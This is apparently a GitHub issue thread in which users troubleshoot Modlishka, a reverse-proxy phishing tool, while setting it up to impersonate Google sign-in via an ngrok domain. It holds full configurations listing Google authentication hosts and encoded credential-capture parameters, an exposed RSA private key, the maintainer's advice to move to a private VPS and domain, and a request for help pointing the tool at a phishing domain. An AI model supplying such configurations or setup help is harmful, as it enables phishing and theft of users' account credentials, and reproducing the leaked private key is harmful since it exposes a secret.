Not a phishing domain

[drk1wi]

Not a phishing domain

[hadiabounader]

{
"phishingDomain": "https://43269b3c.ngrok.io",
"listeningPort": "443",
"listeningAddress": "127.0.0.1",
"target": "https://(website).com",
"targetResources": "content.googleapis.com,www.gstatic.com,ssl.gstatic.com,ogs.google.com,accounts.google.com,clients1.google.com,clients2.google.com,clients3.google.com,clients4.google.com,clients5.google.com,clients6.google.com",
"targetRules": "",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "ident",
"trackingParam": "ident",
"useTls": true,
"jsRules":"",
"debug": false,
"logPostOnly": false,
"disableSecurity": false,
"log": "google.log",
"plugins": "all",
"credParams": "dHJ1ZVxdLCIoW15cV10rKSJd,XGJudWxsLFxbIihbYS16QS1aMC05IiEiIyQlJicoKSorLC0uLzo7PD0+P0BeX2B7fH1+XSspIixudWxsXGI=",
"cert": "",
"certKey": "",
"certPool": ""
}

[drk1wi]

phishingDomain should be a domain without a scheme . remove the https and it should work. Piotr

[hadiabounader]

@drk1wi Tried it, not working.

[drk1wi]

hm. "phishingDomain": "43269b3c.ngrok.io" ? and you are launching the proxy with -config ?

[hadiabounader]

@drk1wi yes bro , check the below template config

{
"phishingDomain": "43269b3c.ngrok.io",
"listeningPort": "443",
"listeningAddress": "127.0.0.1",
"target": "https://(website).com",
"targetResources": "content.googleapis.com,www.gstatic.com,ssl.gstatic.com,ogs.google.com,accounts.google.com,clients1.google.com,clients2.google.com,clients3.google.com,clients4.google.com,clients5.google.com,clients6.google.com",
"targetRules": "",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "ident",
"trackingParam": "ident",
"useTls": true,
"jsRules":"",
"debug": false,
"logPostOnly": false,
"disableSecurity": false,
"log": "google.log",
"plugins": "all",
"credParams": "dHJ1ZVxdLCIoW15cV10rKSJd,XGJudWxsLFxbIihbYS16QS1aMC05IiEiIyQlJicoKSorLC0uLzo7PD0+P0BeX2B7fH1+XSspIixudWxsXGI=",
"cert": "-----BEGIN CERTIFICATE-----\nMIIC8DCCAdigAwIBAgIJAKDE0UrK6N9TMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV\nBAYTAkFVMB4XDTE5MDExMzEyNTMyNloXDTIxMTEwMjEyNTMyNlowDTELMAkGA1UE\nBhMCQVUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDE31UlzG+0LmKm\n0KIFJvar+K5IfkzZvZvkpi3YYplUgz96qMR5xYAFAw5YMlZ5N6WPOjs7rJayOX/0\nsz7TSlhyVwuTMsEQ8DUyjT+YhBNpmxmQo1Uce5/PuhKxH0sZSEf5AG+gSZBlY6NF\n09smEYGRMXtX8Tuq7XY4IyStJy88IdZvN4nUAvyxJ20FmDcxqBPmrYMx+YAdHLSm\nVvE0KIPFC0YSBfT5Mkni2Vy9fEzbtSmDIgIcx6Ws80eXFJtkR8I7K6N1OlbPy788\nox+btuKNYBGH/OCIe/omfVzBrvClRGaIVjA+mciGsBoQ7mvvjOHvTNjfUJzFJdfX\no7mSHF2DAgMBAAGjUzBRMB0GA1UdDgQWBBRgWOm0U1o9RdouIy0eHdXGVeureTAf\nBgNVHSMEGDAWgBRgWOm0U1o9RdouIy0eHdXGVeureTAPBgNVHRMBAf8EBTADAQH/\nMA0GCSqGSIb3DQEBCwUAA4IBAQAH6gjzzMwvQSEaIR7KzSQ3K1m4D0Q4R4LSQ4al\nyWUsiHtV6i514OjgNSc+U6Hh/0C+XQJzQ5ydim1FzRCf/Wx+r+LH/KRxEXWbFfKU\nUTykQ0UVAg2cuwwg4IfLWvCgGVQzjqgUa6zJxh9LFIOS+iLJFunWWosvjy5xROCz\nAIeBIV5y+K74BR60j+IG0LyLMZ1EIpPhGgD62f7p+p6j/hMA7QhSJAX3WX5Nl6+Z\nDOTRuiv+XXw+slzIZ9u0hY2rYfWIRSM1ROrtXxngV+HFeYsv1n5m79IXbBrNa0dW\nmF0xulaot5mfTJChK63utsv5WIsTOkYNWaSoU2aMtiw/5KZq\n-----END CERTIFICATE-----\n",

"certKey": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAxN9VJcxvtC5iptCiBSb2q/iuSH5M2b2b5KYt2GKZVIM/eqjE\necWABQMOWDJWeTeljzo7O6yWsjl/9LM+00pYclcLkzLBEPA1Mo0/mIQTaZsZkKNV\nHHufz7oSsR9LGUhH+QBvoEmQZWOjRdPbJhGBkTF7V/E7qu12OCMkrScvPCHWbzeJ\n1AL8sSdtBZg3MagT5q2DMfmAHRy0plbxNCiDxQtGEgX0+TJJ4tlcvXxM27UpgyIC\nHMelrPNHlxSbZEfCOyujdTpWz8u/PKMfm7bijWARh/zgiHv6Jn1cwa7wpURmiFYw\nPpnIhrAaEO5r74zh70zY31CcxSXX16O5khxdgwIDAQABAoIBAHa8U3hWklBTYYBG\neFEvLLqPY12pfuQb7Te72g6VePB1sAVkYAspSIq9Sxt6UJkPLLTzY+Ibt0+KSlfk\n+1Enl6xuPzbp93MlzI/OjLqJfcPFnWeUerKRBNOd38QfoYWACJhu4OQFOidMLp7g\npV2SVViiRUfG4Du4uAInf+lGpsBWgTelbo4aSZrYn+gFSs0Uoi9lyl/PbVU+TxeK\n3vaPQF1vW0enD1HYOHGSLyxKoD9G3VJCU9aAlb8BiinZNtJC865z+wY+FKFU+CF9\nbC0OIulOddJL1PYHauIReZF9H8zG1Kvr33cbrnfw+CgYgpwBkOtmcrBrMh+RZjig\nJsV6gGECgYEA52pMA/G6pcNN1zEwwsx1SmIrZoIGMmpAv/YyrlFS3NgXE4Q9yV15\nATZjleNBB0OypvS3ZyQFKGmB/60TWY5JOtyA/oYoRkZjrLu+qRz6ZH5ppXWif26H\nao4//v+KuNEY3FJjrO3aZEZ3Mv3+rRDkzRjMQffj/x/GRMxRdw0xwIsCgYEA2cmW\numMwuivlTaYMehepk1U6ZyjYwR96AyHVse1Z90+Bg/kWJOR8jlbEwyur5icteQ3a\n7/48fyhFS9R68CDuhMUeNLC7LgkhcLlpVD4v3pQdnLUJzOa8FzidWqFdWP2KGp/a\nAkd9zD522Hs/KK78juEneARqOpXsQ4JzxkI5PekCgYA9AKxhLcvB/qX6YCE2eKdC\noHZIY2Y2zAOdlsztXsq1JNGQd3/CIT3QsAG4dVujCpmBoWjna3tgl8+JEprTNMrh\nFVd7wOnE/LExy5wLAHSRITHASC454W0ZDb6Y/cwXxCcFjUJxR5IWdOzfKE2GWbm2\nxx6xFSOpETs2z5V6CKRg2QKBgQC6cMEAPvnv5rQejRARVUBuSH/+4BDvAytIkyaF\nc1OZTA7sE8jJPHEEyXMYQcKe/NsIzrumyFax5J+uEvBLsWV/c+Av6zvSZS6jeZaZ\n78K7IMFY7gK9zqkml+jdNVbcX/BiaoYPfXRL7Q2AtcGT6nl7N3S6Yc0u6jmgcYT7\nLKYkQQKBgBa6tWxMp8MdJI+qqFxjdc7+vFXMDlR6nDcCcZ8cHWuLBBJaq79CBD1c\ncsfTCszPSjpGeRz+wGyi7qExuPyDkhqUunpRCfPwMnltBO3GzLmtLtAXkJGN3F2U\nvwux7WnHYYybN7BW5cSL4KWKgDuOXzkScNLZ9bYLoCtoafcd2QRq\n-----END RSA PRIVATE KEY-----\n",

"certPool": ""
}

[Phoenix1112]

You cant run with ngrok

[hadiabounader]

@cyberthereape can you send me step by step how its working?

[drk1wi]

43269b3c.ngrok.io and ngrok.io resolves to different IPs... so it won't work. Try the example for localhost and then you will have to deploy your own vps with your own domain.

[ShmokeHack]

Hello Boss,

Please can you give detailed instructions on how to point Modlishka tool to phishing domain ?

Thanks in advance.